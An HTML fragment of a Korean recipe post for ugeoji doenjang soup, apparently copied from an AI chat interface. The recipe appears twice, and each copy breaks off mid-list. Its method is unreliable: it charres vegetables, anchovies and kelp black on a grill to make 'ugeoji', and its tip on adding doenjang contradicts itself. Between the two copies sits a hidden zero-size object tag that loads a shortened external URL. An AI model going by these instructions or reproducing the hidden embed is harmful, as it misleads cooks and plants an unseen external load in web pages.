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<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">겨울을 맞이하며 김장철 특산품, 우거지 된장국 만들기!</h2><p data-sourcepos="3:1-3:196"><strong>칼칼한 겨울바람에 더욱 든든한 한 끼, 김장철만 맛볼 수 있는 특별한 메뉴 '우거지 된장국'!</strong> 오늘은 직접 구운 우거지로 끓이는 깊은 맛의 된장국 레시피를 소개합니다. 김장김치와 함께 찰떡궁합인 우거지 된장국은 푸짐한 배추와 든든한 국물로 든든한 한 끼 식사를 해결해줄 뿐만 아니라, 김장하는 날의 피로를 풀어주는 따뜻한 위로가 될 것입니다.</p><p data-sourcepos="5:1-5:10"><strong>필요한 재료</strong></p><ul data-sourcepos="7:1-18:0">
<li data-sourcepos="7:1-7:18">배추: 1/4개 (약 1kg)</li>
<li data-sourcepos="8:1-8:18">무: 1/4개 (약 500g)</li>
<li data-sourcepos="9:1-9:9">멸치: 50g</li>
<li data-sourcepos="10:1-10:11">다시마: 1 조각</li>
<li data-sourcepos="11:1-11:8">마늘: 3쪽</li>
<li data-sourcepos="12:1-12:10">양파: 1/2개</li>
<li data-sourcepos="13:1-13:10">대파: 1/2대</li>
<li data-sourcepos="14:1-14:11">고춧가루: 1큰술</li>
<li data-sourcepos="15:1-15:9">된장: 3큰술</li>
<li data-sourcepos="16:1-16:10">참기름: 1큰술</li>
<li data-sourcepos="17:1-18:0">소금: 적당량</li>
</ul><p data-sourcepos="19:1-19:10"><strong>만드는 방법</strong></p><p data-sourcepos="21:1-21:14"><strong>1. 우거지 구우기</strong></p><ol data-sourcepos="23:1-28:0">
<li data-sourcepos="23:1-23:35">배추와 무를 깨끗이 씻어 찬물에 30분 정도 담가 줍니다.</li>
<li data-sourcepos="24:1-24:68">배추는 겉잎을 2~3장 떼어내고 4등분 또는 6등분 정도로 자릅니다. 무는 껍질을 벗겨 2~3cm 두께로 썰어줍니다.</li>
<li data-sourcepos="25:1-25:33">멸치와 다시마는 찬물에 30분 정도 불린 후 꺼냅니다.</li>
<li data-sourcepos="26:1-26:43">준비된 배추, 무, 멸치, 다시마를 구이통에 올려 센 불에서 익힙니다.</li>
<li data-sourcepos="27:1-28:0">재료가 익어 겉면이 검게 탄 후에는 꺼내 식혀줍니다.</li>
</ol><p data-sourcepos="29:1-29:13"><strong>2. 국물 끓이기</strong></p><ol data-sourcepos="31:1-37:0">
<li data-sourcepos="31:1-31:24">큰 냄비에 물 2리터를 붓고 끓입니다.</li>
<li data-sourcepos="32:1-32:43">끓는 물에 식힌 우거지, 멸치, 다시마를 넣고 30분 정도 푹 끓입니다.</li>
<li data-sourcepos="33:1-33:24">양파, 마늘, 대파는 잘게 썰어줍니다.</li>
<li data-sourcepos="34:1-34:49">국물이 끓으면 썰은 양파, 마늘, 대파, 고춧가루를 넣고 10분 정도 더 끓입니다.</li>
<li data-sourcepos="35:1-35:23">된장과 참기름을 넣고 잘 풀어줍니다.</li>
<li data-sourcepos="36:1-37:0">소금으로 간을 맞춥니다.</li>
</ol><p data-sourcepos="38:1-38:10"><strong>3. 마무리</strong></p><ol data-sourcepos="40:1-42:0">
<li data-sourcepos="40:1-40:32">끓인 국물을 그릇에 담고 밥과 함께 뜨겁게 맛봅니다.</li>
<li data-sourcepos="41:1-42:0">취향에 따라 김치, 깍두기, 고추장 등을 곁들여 먹으면 더욱 맛있게 즐길 수 있습니다.</li>
</ol><p data-sourcepos="43:1-43:6"><strong>꿀팁</strong></p><ul data-sourcepos="45:1-48:0">
<li data-sourcepos="45:1-45:98">우거지를 구울 때 센 불에서 익히면 겉면이 검게 탄 후에 속은 아직 덜 익을 수 있습니다. 따라서, 센 불에서 익힌 후에는 약불로 잠깐 더 익혀 속까지 잘 익도록 해주세요.</li>
<li data-sourcepos="46:1-46:53">된장은 끓는 국물에 넣으면 쓴 맛이 날 수 있으므로, 국물이 끓은 후에 넣고 잘 풀어주세요.</li>
<li data-sourcepos="47:1-48:0">매운 것을 좋아하신다면 고춧가루의 양을 조절하거나 고추장을 넣어 매콤하게 끓여도 좋습니다.</li>
</ul><p data-sourcepos="49:1-49:122"><strong>이번 레시피 어떠셨나요?</strong> 겨울철 따뜻한 한 끼 식사로 김장김치와 함께 즐기기에 좋은 우거지 된장국을 직접 만들어보세요. 깊은 맛의 국물과 푸짐한 배추가 어우러져 든든하고 맛있는 한 끼를 즐길 수 있을 것입니다.</p><p data-sourcepos="51:1-51:49"><strong>추가적으로, 우거지 된장국을 더욱 맛있게 즐기는 방법 몇 가지를 알려드리겠습니다.</strong></p><ul data-sourcepos="53:1-53:12">
<li data-sourcepos="53:1-53:12">우거지를 구울 때</li>
</ul></div>
"><div data-ke-class="article"><object width="0" height="0" data="https://vvd.bz/cftd" type="video/mp4" allowNetworking='internal' allowScriptAccess='sameDomain'></object>
<div _ngcontent-ng-c3917456593="" class="markdown markdown-main-panel response-optimization stronger" dir="ltr" style="--animation-duration: 400ms; --fade-animation-function: linear;"><h2 data-sourcepos="1:1-1:34">겨울을 맞이하며 김장철 특산품, 우거지 된장국 만들기!</h2><p data-sourcepos="3:1-3:196"><strong>칼칼한 겨울바람에 더욱 든든한 한 끼, 김장철만 맛볼 수 있는 특별한 메뉴 '우거지 된장국'!</strong> 오늘은 직접 구운 우거지로 끓이는 깊은 맛의 된장국 레시피를 소개합니다. 김장김치와 함께 찰떡궁합인 우거지 된장국은 푸짐한 배추와 든든한 국물로 든든한 한 끼 식사를 해결해줄 뿐만 아니라, 김장하는 날의 피로를 풀어주는 따뜻한 위로가 될 것입니다.</p><p data-sourcepos="5:1-5:10"><strong>필요한 재료</strong></p><ul data-sourcepos="7:1-18:0">
<li data-sourcepos="7:1-7:18">배추: 1/4개 (약 1kg)</li>
<li data-sourcepos="8:1-8:18">무: 1/4개 (약 500g)</li>
<li data-sourcepos="9:1-9:9">멸치: 50g</li>
<li data-sourcepos="10:1-10:11">다시마: 1 조각</li>
<li data-sourcepos="11:1-11:8">마늘: 3쪽</li>
<li data-sourcepos="12:1-12:10">양파: 1/2개</li>
<li data-sourcepos="13:1-13:10">대파: 1/2대</li>
<li data-sourcepos="14:1-14:11">고춧가루: 1큰술</li>
<li data-sourcepos="15:1-15:9">된장: 3큰술</li>
<li data-sourcepos="16:1-16:10">참기름: 1큰술</li>
<li data-sourcepos="17:1-18:0">소금: 적당량</li>
</ul><p data-sourcepos="19:1-19:10"><strong>만드는 방법</strong></p><p data-sourcepos="21:1-21:14"><strong>1. 우거지 구우기</strong></p><ol data-sourcepos="23:1-28:0">
<li data-sourcepos="23:1-23:35">배추와 무를 깨끗이 씻어 찬물에 30분 정도 담가 줍니다.</li>
<li data-sourcepos="24:1-24:68">배추는 겉잎을 2~3장 떼어내고 4등분 또는 6등분 정도로 자릅니다. 무는 껍질을 벗겨 2~3cm 두께로 썰어줍니다.</li>
<li data-sourcepos="25:1-25:33">멸치와 다시마는 찬물에 30분 정도 불린 후 꺼냅니다.</li>
<li data-sourcepos="26:1-26:43">준비된 배추, 무, 멸치, 다시마를 구이통에 올려 센 불에서 익힙니다.</li>
<li data-sourcepos="27:1-28:0">재료가 익어 겉면이 검게 탄 후에는 꺼내 식혀줍니다.</li>
</ol><p data-sourcepos="29:1-29:13"><strong>2. 국물 끓이기</strong></p><ol data-sourcepos="31:1-37:0">
<li data-sourcepos="31:1-31:24">큰 냄비에 물 2리터를 붓고 끓입니다.</li>
<li data-sourcepos="32:1-32:43">끓는 물에 식힌 우거지, 멸치, 다시마를 넣고 30분 정도 푹 끓입니다.</li>
<li data-sourcepos="33:1-33:24">양파, 마늘, 대파는 잘게 썰어줍니다.</li>
<li data-sourcepos="34:1-34:49">국물이 끓으면 썰은 양파, 마늘, 대파, 고춧가루를 넣고 10분 정도 더 끓입니다.</li>
<li data-sourcepos="35:1-35:23">된장과 참기름을 넣고 잘 풀어줍니다.</li>
<li data-sourcepos="36:1-37:0">소금으로 간을 맞춥니다.</li>
</ol><p data-sourcepos="38:1-38:10"><strong>3. 마무리</strong></p><ol data-sourcepos="40:1-42:0">
<li data-sourcepos="40:1-40:32">끓인 국물을 그릇에 담고 밥과 함께 뜨겁게 맛봅니다.</li>
<li data-sourcepos="41:1-42:0">취향에 따라 김치, 깍두기, 고추장 등을 곁들여 먹으면 더욱 맛있게 즐길 수 있습니다.</li>
</ol><p data-sourcepos="43:1-43:6"><strong>꿀팁</strong></p><ul data-sourcepos="45:1-48:0">
<li data-sourcepos="45:1-45:98">우거지를 구울 때 센 불에서 익히면 겉면이 검게 탄 후에 속은 아직 덜 익을 수 있습니다. 따라서, 센 불에서 익힌 후에는 약불로 잠깐 더 익혀 속까지 잘 익도록 해주세요.</li>
<li data-sourcepos="46:1-46:53">된장은 끓는 국물에 넣으면 쓴 맛이 날 수 있으므로, 국물이 끓은 후에 넣고 잘 풀어주세요.</li>
<li data-sourcepos="47:1-48:0">매운 것을 좋아하신다면 고춧가루의 양을 조절하거나 고추장을 넣어 매콤하게 끓여도 좋습니다.</li>
</ul><p data-sourcepos="49:1-49:122"><strong>이번 레시피 어떠셨나요?</strong> 겨울철 따뜻한 한 끼 식사로 김장김치와 함께 즐기기에 좋은 우거지 된장국을 직접 만들어보세요. 깊은 맛의 국물과 푸짐한 배추가 어우러져 든든하고 맛있는 한 끼를 즐길 수 있을 것입니다.</p><p data-sourcepos="51:1-51:49"><strong>추가적으로, 우거지 된장국을 더욱 맛있게 즐기는 방법 몇 가지를 알려드리겠습니다.</strong></p><ul data-sourcepos="53:1-53:12">
<li data-sourcepos="53:1-53:12">우거지를 구울 때</li>
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